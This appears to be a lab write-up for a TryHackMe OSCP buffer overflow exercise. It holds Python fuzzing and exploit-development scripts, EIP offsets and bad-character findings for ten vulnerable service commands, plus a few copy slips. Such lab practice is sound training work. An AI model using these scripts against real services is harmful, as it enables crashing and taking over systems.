Skip to content

THM - OSCP BOF Prep

Mona Configuration

!mona config -set workingfolder c:\mona\%p

(STEP 0) GET EIP offset for OVERFLOW{1..10}

Fuzzer

./fuzzer.py 1  #--> Fuzzing crashed at 2000 bytes
./fuzzer.py 2  #--> Fuzzing crashed at 700 bytes
./fuzzer.py 3  #--> Fuzzing crashed at 1300 bytes
./fuzzer.py 4  #--> Fuzzing crashed at 2100 bytes
./fuzzer.py 5  #--> Fuzzing crashed at 400 bytes
./fuzzer.py 6  #--> Fuzzing crashed at 1100 bytes
./fuzzer.py 7  #--> Fuzzing crashed at 1400 bytes
./fuzzer.py 8  #--> Fuzzing crashed at 1800 bytes
./fuzzer.py 9  #--> Fuzzing crashed at 1600 bytes
./fuzzer.py 10 #--> Fuzzing crashed at 600 bytes
#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.184.45"
port = 1337
timeout = 5
prefix = "OVERFLOW" + str(sys.argv[1] + " ")

string = prefix + "A" * 100

while True:
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(timeout)
            s.connect((ip, port))
            s.recv(1024)
            print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
            s.send(bytes(string, "latin-1"))
            s.recv(1024)
    except:
        print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
        sys.exit(0)
    string += 100 * "A"
    time.sleep(1)

Exploit

./exploit.py 1 2000
./exploit.py 2 700
./exploit.py 3 1300
./exploit.py 4 2100
./exploit.py 5 400
./exploit.py 6 1100
./exploit.py 7 1400
./exploit.py 8 1800
./exploit.py 9 1600
./exploit.py 10 600

Immunity Debugger: cli command

!mona findmsp -distance 1

Immunity Debugger: Log data

--> 1 -> 2000 > EIP contains normal pattern : 0x6f43396e (offset 1978)
--> 2 -> 700 > EIP contains normal pattern : 0x76413176 (offset 634)
--> 3 -> 1300 > EIP contains normal pattern : 0x35714234 (offset 1274)
--> 4 -> 2100 > EIP contains normal pattern : 0x70433570 (offset 2026)
--> 5 -> 400 > EIP contains normal pattern : 0x356b4134 (offset 314)
--> 6 -> 1100 > EIP contains normal pattern : 0x35694234 (offset 1034)
--> 7 -> 1400 > EIP contains normal pattern : 0x72423572 (offset 1306)
--> 8 -> 1800 > EIP contains normal pattern : 0x68433568 (offset 1786)
--> 9 -> 1600 > EIP contains normal pattern : 0x35794234 (offset 1514)
--> 10 -> 600 > EIP contains normal pattern : 0x41397241 (offset 537)

exploit.py

#!/usr/bin/env python3
import socket
import subprocess
import sys


def get_payload(length: 0):
    return subprocess.check_output(['/usr/share/metasploit-framework/tools/exploit/pattern_create.rb', '-l', str(length)]).decode("utf-8")


ip = "10.10.184.45"
port = 1337

prefix = "OVERFLOW" + str(sys.argv[1] + " ")
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = get_payload(int(sys.argv[2]) + 400)
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(bytes(buffer + "\r\n", "latin-1"))
    print("Done!")
except:
    print("Could not connect.")

(STEP 1) Confirm that we can overwrite EIP

./exploit2.py 1 1978 #--> EIP 42424242 (Immunity Debugger: Registers CPU)
./exploit2.py 2 634  #--> EIP 42424242 (Immunity Debugger: Registers CPU)
./exploit2.py 3 1274 #--> EIP 42424242 (Immunity Debugger: Registers CPU)
./exploit2.py 4 2026 #--> EIP 42424242 (Immunity Debugger: Registers CPU)
./exploit2.py 5 314  #--> EIP 42424242 (Immunity Debugger: Registers CPU)
./exploit2.py 6 1034 #--> EIP 42424242 (Immunity Debugger: Registers CPU)
./exploit2.py 7 1306 #--> EIP 42424242 (Immunity Debugger: Registers CPU)
./exploit2.py 8 1786 #--> EIP 42424242 (Immunity Debugger: Registers CPU)
./exploit2.py 9 1514 #--> EIP 42424242 (Immunity Debugger: Registers CPU)
./exploit2.py 10 537 #--> EIP 42424242 (Immunity Debugger: Registers CPU)
````

**exploit2.py**

```python
#!/usr/bin/env python3
import socket
import subprocess
import sys

ip = "10.10.184.45"
port = 1337

prefix = "OVERFLOW" + str(sys.argv[1] + " ")
offset = int(sys.argv[2])
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(bytes(buffer + "\r\n", "latin-1"))
    print("Done!")
except:
    print("Could not connect.")

(STEP 2) Bad characters

Immunity Debugger: cli command

!mona bytearray -b "\x00"
./exploit3.py 1 1978 #--> ESP 0191FA30
./exploit3.py 2 634 #--> ESP 0184FA30
./exploit3.py 3 1274 #--> ESP 01A7FA30
./exploit3.py 4 2026 #--> ESP 01ACFA30
./exploit3.py 5 314 #--> ESP 0179FA30
./exploit3.py 6 1034 #--> ESP 019EFA30
./exploit3.py 7 1306 #--> ESP 01AAFA30
./exploit3.py 8 1786 #--> ESP 0194FA30
./exploit3.py 9 1514 #--> ESP 0196FA30
./exploit3.py 10 537 #--> ESP 018EFA30
!mona compare -f C:\mona\oscp\bytearray.bin -a 0191FA30 #--> 00 07 08 2e 2f a0 a1
!mona compare -f C:\mona\oscp\bytearray.bin -a 0191FA30 #--> 00 23 24 3c 3d 83 84 ba bb
!mona compare -f C:\mona\oscp\bytearray.bin -a 01A7FA30 #--> 00 11 12 40 41 5f 60 b8 b9 ee ef
!mona compare -f C:\mona\oscp\bytearray.bin -a 01ACFA30 #--> 00 a9 aa cd ce d4 d5
!mona compare -f C:\mona\oscp\bytearray.bin -a 0179FA30 #--> 00 16 17 2f 30 f4 f5 fd
!mona compare -f C:\mona\oscp\bytearray.bin -a 019EFA30 #--> 00 08 09 2c 2d ad ae
!mona compare -f C:\mona\oscp\bytearray.bin -a 01AAFA30 #--> 00 8c 8d ae af be bf fb fc
!mona compare -f C:\mona\oscp\bytearray.bin -a 0194FA30 #--> 00 1d 1e 2e 2f c7 c8 ee ef
!mona compare -f C:\mona\oscp\bytearray.bin -a 0196FA30 #--> 00 04 05 3e 3f e1 e2
!mona compare -f C:\mona\oscp\bytearray.bin -a 018EFA30 #--> 00 a0 a1 ad ae be bf de df ef f0
1 00 07 08 2e 2f a0 a1 00 07 -- 2e -- a0 -- \x00\x07\x2e\xa0
2 00 23 24 3c 3d 83 84 ba bb 00 23 -- 3c -- 83 -- ba -- \x00\x23\x3c\x83\xba
3 00 11 12 40 41 5f 60 b8 b9 ee ef 00 11 -- 40 -- 5f -- b8 -- ee -- \x00\x11\x40\x5f\xb8\xee
4 00 a9 aa cd ce d4 d5 00 a9 -- cd -- d4 -- \x00\xa9\xcd\xd4
5 00 16 17 2f 30 f4 f5 fd 00 16 -- 2f -- f4 -- fd \x00\x16\x2f\xf4\xfd
6 00 08 09 2c 2d ad ae 00 08 -- 2c -- ad -- \x00\x08\x2c\xad
7 00 8c 8d ae af be bf fb fc 00 8c -- ae -- be -- fb -- \x00\x8c\xae\xbe\xfb
8 00 1d 1e 2e 2f c7 c8 ee ef 00 1d -- 2e -- c7 -- ee -- \x00\x1d\x2e\xc7\xee
9 00 04 05 3e 3f e1 e2 00 04 -- 3e 3f e1 -- \x00\x04\x3e\x3f\xe1
10 00 a0 a1 ad ae be bf de df ef f0 00 a0 -- ad -- be -- de -- ef -- \x00\xa0\xad\xbe\xde\xef
#!/usr/bin/env python3
import socket
import subprocess
import sys

ip = "10.10.184.45"
port = 1337

prefix = "OVERFLOW" + str(sys.argv[1] + " ")
offset = int(sys.argv[2])
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(bytes(buffer + "\r\n", "latin-1"))
    print("Done!")
except:
    print("Could not connect.")